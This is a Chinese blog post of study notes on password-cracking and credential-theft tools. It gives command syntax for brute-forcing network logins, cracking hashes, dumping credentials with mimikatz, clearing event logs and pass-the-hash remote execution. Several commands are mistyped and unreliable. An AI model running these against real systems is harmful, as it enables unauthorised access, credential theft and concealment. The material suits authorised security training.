代码编织梦想

目录

ophcrack-彩虹表审计

rainbowcraack-彩虹表审计

ncrack-口令审计

sucrack-口令审计

thc-pptp-bruter-VPN口令审计

patator——在线密码破解

hashcat——离线密码破解

john离线密码破解

mimikatz

crypto模块

其他模块

PtH-传递哈希登录工具包

pth-winexe

pth-wmic

pth-wmis

pth-rpcclient

pth-curl,pth-net

pth-sqsh

sipcrack-SIP口令审计


 

ophcrack-彩虹表审计

Windows系统账号密码破解工具

  • Windows账号密码加密保存于SAM数据库中
  • Pwdump / samdump2可获得密码HASH

Ophcrack用于破解Windows账号密码的HASH

  • 基于彩虹表的密码破解工具
  • 明文> HASHO→HASH1
  • 官方提供Ophcrack LiveCD
  • 高级彩虹表由Objectif Securite出售
  • 免费彩虹表http://ophcrack .sourceforge.net/tables.php

Preferences线程数设为内核数(超线程),修改重启生效
读取HASH、SAM、会话文件

  • Pwdump / Samdump2

删除无需破解的账号
安装并启用彩虹表
Crack

 

rainbowcraack-彩虹表审计

离线密码破解

  • 防止因脱裤造成的密码泄漏,密码均HASH加密保存
  • 对密码HASH进行离线爆破
  • 基于CPU / GPU的计算能力, 碰撞匹配密码明文
  • 明文> HASHO > HASH1

彩虹表预计算HASH值(耗时、计算资源)

  • http://project-rainbowcrack.com/table.htm            #下载彩虹表

Windows版支持GPU、Linux 版不支持GPU (修改版)

  • http://project- rainbowcrack.com/

rtgen       #预计算生成彩虹表
rtsort      #对rtgen生成的彩虹表排序
rt2rtc      #将彩虹表从.rt格式转换为.rtc
rtc2rt      #与上相反
rcrack     #查找彩虹表破解HASH值

1.rtgen,rtsort

rtgen alg charset min max tindex clen cnum pindex
rtgen md5 loweralpha 1 7 0 1000 1000 0

alg: Im, ntlm; md5, shal, mysqlshal, halflmchall, ntlmchall, oracle-
SYSTEM, md5-half
charset : /usr/share/rainbowcrack/charset.txt
table_index : 表索引|对应相应的简约函数
chain_len : 彩虹表是一个彩虹链的阵列,链越长存内容越多
chain_num : 每个文件包含彩虹链的数量( 16字节)
part_index : 第几个彩虹表文件
rtsort#排序

cat /usr/share/rainbowcrack/charset.txt

1.生成彩虹表
rtgen sha1 numeric 6 8 0 1000 1000 0
rtgen sha1 numeric 6 8 0 1000 1000 1
rtgen sha1 numeric 6 8 0 1000 1000 2
生成的彩虹表在/usr/share/rainbowcrack下

2.对彩虹表进行排序才能使用
┌─[root@parrot-virtual]─[/usr/share/rainbowcrack]
└──╼ #rtsort .

2.rcrack

rcrack . -h 5d41402abc4b2a76b9719c   .表示彩虹表的路径
rcrack . -l hash.txt
rcrack -lm pwdump_file.
rcrack -ntlm pwdump_file.

另一个工具
rcracki mt
rcracki mt -h hash rtable path
rcracki . mt -I hash。file. rtable path
rcracki . mt -f pwdumpfile rtable. path
rcracki . mt -c Istfile rtable path

 

ncrack-口令审计

开源在线密码破解,动态引擎、适用于高速并发场景需要,模块化架构
语法与NMAP相似

  • 由NMAP项目统-管理
  • 可读取NMAP输出文件
  • http://nmap.org/ncrack/man.html

模块
SSH, RDP, FTP, Telnet, HT TP(S), POP3(S), IMAP, SMB, VNC, SIP, Redis,PostgreSQL, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA

指定目标
192.168.0-255.1-254 10.0.0,1,3-7.* www.abc.com 192.168.3.0/24
-iX file                        # Nmap -oX输出结果
-iN file                        # Nmap -ON输出结果
-iL file                        #主机/网络列表文件
--exclude host1, host2          #排除
--excludefile

ncrack scanme.nmap.org:22 ftp://1.1.1.1 ssh://1.1.1.*:5910
ncrack scanme.nmap.org 1.1.1.1-8 2.1.1.1/24 -p 22,ftp:221,telnet
字典
-U        #用户名字典
-P        #密码字典
--user    #逗号分隔的用户名列表
--pass    #逗号分隔的密码列表

保存结果
-ON/-oX/-OA filename            #保存结果
-V/-d1-10                       #显示详细信息

其他
--save                        #保存会话
--resume                      #继续会话
-f                            #首破即止
--proxy <type://ip:port>      #代理
ncrack -v --user msfadmin --pass msfadmin 192.168.0.108

 

sucrack-口令审计

 

LINUX 系统切换帐号

  • su username
  • su root                     #需要输入root密码
  • 基于字典的爆破

 

sucrack -a -w 20 -s 10 -u root -rl AFLafld dict.txt
-a    #进度统计信息
-s    #进度刷新间隔
-w    #线程数
-u    #目标帐号
-r    #启用字典重写
-l    #重写规则

重写规则
A    #所有字母大写
F    #首字母大写
L    #末尾字母大写
a    #所有字母小写
f    #首字母小写
l    #末尾字母小写
D    #起始增加数字
d    #末尾增加数字
e    #字符leet变形(1337)
x    #以上所有规则

 

thc-pptp-bruter-VPN口令审计

PPTP VPN

  • TCP 1723
  • Windows系统使用MSChapV2身份认证方式
  • Cisco等设备厂商同样支持
  • 拨通VPN即有权访问内网

PPTP VPN密码破解

  • 为防止被爆破密码,微软限制了单位时间重复认证的请求次数(有漏洞)
  • 使用相同的caller id重复多次提交身份认证请求
  • 350-pps
cat dict.txt | thc-pptp-bruter -v -u administrator 192.168.1.1
-w    #参数有BUG无法使用
-p    #指定端口
-n    #重试次数(默认5)
-l    #pass/sec(默认100)

 

patator——在线密码破解

由python语言开发
多线程、多协议、模块化、使用灵活
模块
ftp. login、ssh_ login、 telnet login、 smtp_ login、smtp_ vrfy、smtp_ rcpt、finger_ lookup、http_ fuzz、ajp_ fuzz、pop. login、pop_ passd、imap_ login、 ldap_ login、 smb_ login、smb lookupsid、rlogin login、vmauthd login、mssql login、oraclelogin、mysql login、mysql query、rdp_ login. pgsql login、 Vnc login、dns_ forward、dns_ reverse、 snmp_ login、 ike_ enum、unzip pass、keystore_ pass、sqlcipher_ pass、umbraco crack、 tcp fuzz、dummy_ test

用法
patator --help
patator ftp_login --help

#破解ETP密码
patator ftp_login host=192.168.0.104 user=FILE0 password=FILE1 0=user.txt 1=pass.txt    

patator ftp_login host=192.168.0.104 user=FILE0 password=FILE1 0=user.txt 1=pass.txt -x ignore:egrep='Login incorrect.'

patator ftp_login host=192.168.0.104 user=FILE0 password=FILE1 0=user.txt 1=pass.txt -x ignore:code=530

#ssh
patator ssh_login host=192.168.0.104 user=FILE0 password=FILE1 0=user.txt 1=pass.txt -x ignore:code=0


破解phpMyAdmin登陆密码
patator http. fuzz url=http://10.0.0.1/pma/index.php method= POST
body='pma username=COMBO00&pma password=COMBO01&ser
ver=1&target=index.php&lang=en&token=' 0= combos.txt
before_urls= http://10.0.0.1/pma/index.php accept_cookie= 1
follow=1 -x ignore:fgrep='Cannot login to the MySQL server' -l
/tmp/qsdf

SNMPv3帐号枚举
patator snmp_login host= 10.0.0.1 version=3 user= FILEO 0=logins.txt -x ignore:mesg=unknownUserName

SNMPv3密码枚举
patator snmp_login host= 10.0.0.1 version=3 user=robert auth key=FILEO 0=passwords.txt -x ignore:mesg=wrongDigest

ZIP文件密码破解
patator unzip_pass zipfile=e.zip password=FILE0 0=pass.dic -x ignore:code!=0

域名爆破
patator dns_forward name=FILE0.qq.com 0=d.txt -x ignore.code=3

反向域名爆破(两段IP)
patator dns.reverse host= NETO 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x
ignore:fgrep!=google.com -x ignore:fgrep= 216-239

 

hashcat——离线密码破解

用法
hashcat [optignsl... hashlhashfile|hccapxfile [dictionarylmaskldirectory]

Option
-m                                    #--hash-type
-a                                    #--attack mode
--force                               #强制执行(忽略告警),使用cpu破解
-o output.txt                         #保存结果( ~/.hashcat/hashcat.potfile )
-b                                    #benchmark
-O                                    #优化内核(限制密码长度)
-j/-k                                 #前规则/后规则
-i --increment-min --increment-max   #掩码长度自动增加

攻击模式

attack- mode
0 Straight                        #字典破解
1 Combination                     #组合字典攻击,需要指定两个字典文件
2 Togglecase                      #字母大小写变形攻击
3 Brute force                     #掩码(或全字符集)爆破  -a 3 ?d?d?d?d?d?d?d?d  破解8个数字的密码,不用指定字典
4 Permutation                     #字符置换攻击(12 21)
5 Table-lookup                    #自动生成字典掩码(仅hashcat-legacy可用)
6 Hybrid Wordlist + Mask          #字典加掩码后缀组合攻击
7 Hybrid Mask + Wordlist          #掩码前缀加字典组合攻击
8 Prince. ( PRobability INfinite. Chained Elements )
概率无限链接元素,现代HASH算法将降低破解速度作为设计原则之一

hashcat -m 100 -a 0 hash.txt rockyou.txt --force    #破解过程中s查看状态,p暂停,q退出
hashcat -m 100 -a 0 hash.txt rockyou.txt --force --show  查看破解出来的

掩码
?| = abcdefghijkImnopqrstuyw.xy.z
?u = ABCDEFGHIKLMNOPQRSTUVWXYZ
?d= 0123456789 
?s = !" #$%&'()*+,-./:;<=>?@[]^_ `{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff
hashcat -m 100 -a 3 hash -i --increment-min 3 --increment-max 8 ?l??1?l?l?d?d     #密码长度最短3位,最长8位



规则、修改、剪切、扩展、过滤候选密码的编程语言
hashcat --stdout -r r1 -r 2 wordlist.txt
r1
^1
^2
^3
r2
$a
$b
$c
https://hashcat.net/wiki/doku.php?id=rule based attack

 

john离线密码破解

john -list:formats  查看支持的类型

john -format:Raw-MD5 hash.txt


默认配置文件/etc/john/john.conf
破解模式
Single:默认被首先执行, 使用Login/GECOS信息尝试破解
Wordlist:基于规则的字典破解
Incremental:所有或指定字符集的暴力破解
External:需要在主配配文件中用C语言子集编程

 

用法

基本用法
john -format:Raw-MD5 hash.txt 
破解过程按任意键显示进度
每1分钟保存一次进度(断点续破)
/root/.john/john.rec
Ctrl+C保存断点并退出(两次Ctrl+C直接退出)
破解结果~/.john/john.pot

编码
john -list:encodings    #默认UTF-8
john -encoding:ASCII

wordlist模式
john -format:Raw-MD5 hash.txt -wordlist:rockyou.txt 

mask掩码(占位符)
john -format:Raw-MD5 -mask: ?!I?I?I?l?d?d?d hash.txt
john -format:Raw-MD5 -wordlist:pass.txt -mask:?w?d hash.txt
?l lower-case ASCII letters
?u upper-case ASCII letters
?d digits数字
?s specials特殊字符 (all printable ASCII characters notin ?l, ?u or ?d)
?a full 'printable' ASCII
自定义1/2/3(配置文件)


rules变型
配置文件定义,对字典中的密码进行变型
很多人基于简单密码变型生成安全密码
john -wordlist:pass.txt -rules -stdout |tail -5

Incremental模式
john -incremental:Lower -stdout | head -n 20
配置文件中预定义字符集
/usr/share/john/*.chr
破解Linux账号密码
unshadow /etc/passwd /etc/shadow > hash.txt
john -mask:?d?d?d hash.txt

JOHN破解Windows密码
WCE ( Windows Credentials Editor )获取密码HASH  

 

mimikatz

从Windows系统中收集凭证数据最好的工具、作者Benjamin Delpy是个法国人(非官方文档)

提升进程权限注入进程读取进程内存

  • 系统登陆后将身份凭据存于lsass进程内存中
  • vista之后系统不存LM , win8.1之后内存中不存HASH和明文
  • wdigest、ssp、kerberos、 tspkg 可逆算法
  • HKEY LOCAL MACHINEISYSTEMICurrentControlSetilControSecurityProviderslWDigest“Usel ogonCredential (DWORD)

/usr/share/windows-resources/mimikatz,32/64位版本
需要管理员或SYSTEM权限运行
功能模块化:
privilege::debug
允许mimikatz命令修改运行权限调试进程
并不保证每个模块在所有版本系统上都有效

 

crypto模块

privilege::debug    #进入debug权限
::                  #查看模块


CRYPTO (导出未标记为可导出的证书)
    利用CryptoAPI函数访问证书,简化版的certutil
    CRYPTO:providers
    crypto::stores /systemstore:local machine
        CURRENT USER、USER GROUP POLICY、LOCAL MACHINE、
        LOCAL_MACHINE GROUP POLICY、 L OCAL MACHINE ENTERPRISE、
        CURRENT SERVICE、USERS、SERVICES
crypto::certificates /store:Root
/systemstore    #指定系统存储(默认CURRENT USER )
/store          #列举/导出时必须指定
/export         #导出(公钥:DER、私钥:PFX、密码:mimikatz)
crypto::capi        #patch CryptoAPl   打补丁导出证书
crypto::cng         #patchcng(导出未标记可导出的证书)
cryptosc            #列出智能卡读卡器
crypto::keys
/provider -
/providertype
/cngprovider
/export             #导出密钥PVK files
    openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem

其他模块

sekurlsa模块
    从Isass进程中提取passwords、keys、 pin、 tickets 等信息
    sekurlsa:msv
    sekurlsa:logonpasswords        #所有身份信息
    sekurlsa:pth /user:admin /domain: /ntlm:cc36cf7a8514893e  #通过pass the hash 弹出管理员的cmd
    sekurlsa:pth /user:admin /domain:host2 /aes256:b726836138609031
    sekurlsa::minidump file

process模块
process::
process::runp        #以system权限运行一个新窗口


lsadump模块
lsadump:sam
lsadump::setntlm /user:q /ntlm: 123abc的ntml    #system权限使用Ntml来更改密码

service模块
service::    #开启关闭挂起服务
service::+   #将mimikatz加入系统服务

ts模块
ts::multirdp            #打补丁允许多个本地和远程用户登录
ts::sessions            #查看登录session
ts::remote /id:1        #查看session1用户

envent模块
event::clear            #清除event

misc模块
misc::clip              #监视剪贴板

dpapi模块
dpapi :基于密码的系统级应用数据保护服务(密码/私钥)逻辑上使用用户的等密码实现数据保护

token模块       查看、假冒现有token
token::whoami
token::elevate /SYSTEM    #假冒system、域管理员
token:.revert                  #取消假冒

vault模块    凭据管理器,web,系统

 

PtH-传递哈希登录工具包

pth-winexe

远程执行指令
pth-winexe -U domain/user%NTLM_HASH //1.1.1.1 cmd
--System    #获得system权限
pth-winexe -U administrator%AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 //192.168.0.128 cmd   


pth远程桌面
只针对win8.1、 windows server 2012
xfreerdp /u:administrator /pth:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 /v:192.168.0.128

pth-wmic

pth-wmic -U administrator%CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678 //192.168.0.128 "select * from Win32_LoggedOnUser"        #登录账号

pth-wmic -U administrator%CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678 //192.168.0.128 "select * from Win32_operatingsystem"     #系统信息

pth-wmic -U administrator%CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678 //192.168.0.128 "select csname,name from win32_process"    #进程

pth-wmic -U administrator%CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678 //192.168.0.128 "select Name from Win32_UserAccount"       #用户账号

pth-wmis

wmi执行指令
pth-wmis -U administrator%hash //1.1.1.1 "cmd.exe /c dir c:l正c:lwindowsltemplblog.txt"

SMB子命令
pth-smbclient -U administrator%passhash //1.1.1.1/c$ 
help subcmd

获取文件
pth-smbget -O -U administrator%passhash smb://1.1.1. 1/c$/boot.ini    #-O在中断显示,不写默认下载

pth-rpcclient

RPC指令
pth-rpcclient -U administrator%pass|hash //192.168.20.15
enumdomains
enumdomusers
enumdomgroup 
queryuser 0x 1f4
querygroup 0x201
querygroupmem 0x201
getusername
getdompwinfo
getusrdompwinfo

pth-curl,pth-net

从NTLM认证的WEB程序爬取数据
pth-curl --ntlm -u username: <hash> http://sp.lab.com/Pages/Default.aspx 


pth-net -U administrator%hash -S 1.1.1.1 session / service / domain / lookup.
pth-net -U administrator%hash -S 1.1.1.1 rap server name
pth-net -U administrator%hash -S 1.1.1.1 user add username 123
pth-net -U administrator%hash -S 1.1.1.1 dom join domain=lab ou=OU reboot
pth-net -U administrator%hash -S 1.1.1.1 getlocalsid
pth-net -U administrator%hash -S 1.1.1.1 getdomainsid
pth-net -U administrator%hash -S 1.1.1.1 net rap password <user> <oldpwo> <newpw>

pth-sqsh

连接集成身份认证的MSSQL服务器
    TDS : Tabular Data Stream ( FreeTDS协议实现库)
        配置文件/etc/freetds/freetds.conf
sqsh:SQL Shell实现与数据库交互
export FREE TDSCONF=/etc/freetds/freetds.conf

pth-sqsh -S <config file name> -D <database name> -U<domain>l\<user> -P <password , hash>

pth-sqsh -S sqlsrv -D master -U lab\\mssql -P pass|hash
-S服务器
-D 数据库

sipcrack-SIP口令审计

VoIP ( Voice over IP )
传统电话网络

  • 独占线路、利用率不高、成本高、模拟信号噪声叠加
  • 电路交换、延时低、实时性好

IP电话

  • 共享带宽、利用率高、成本低、可承载语音视频多种数据传输、不累加噪声
  •   延时是最大的问题(可接受的范围)

常见协议
    H.323、SIP、 MGCP
SIP用于传输信令

嗅探身份认证的摘要信息(HASH)
sipdumip -i eth0 login.dump

密码破解
sipcrack -w pass.txt login.dump

 

 

 

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_34640691/article/details/110390651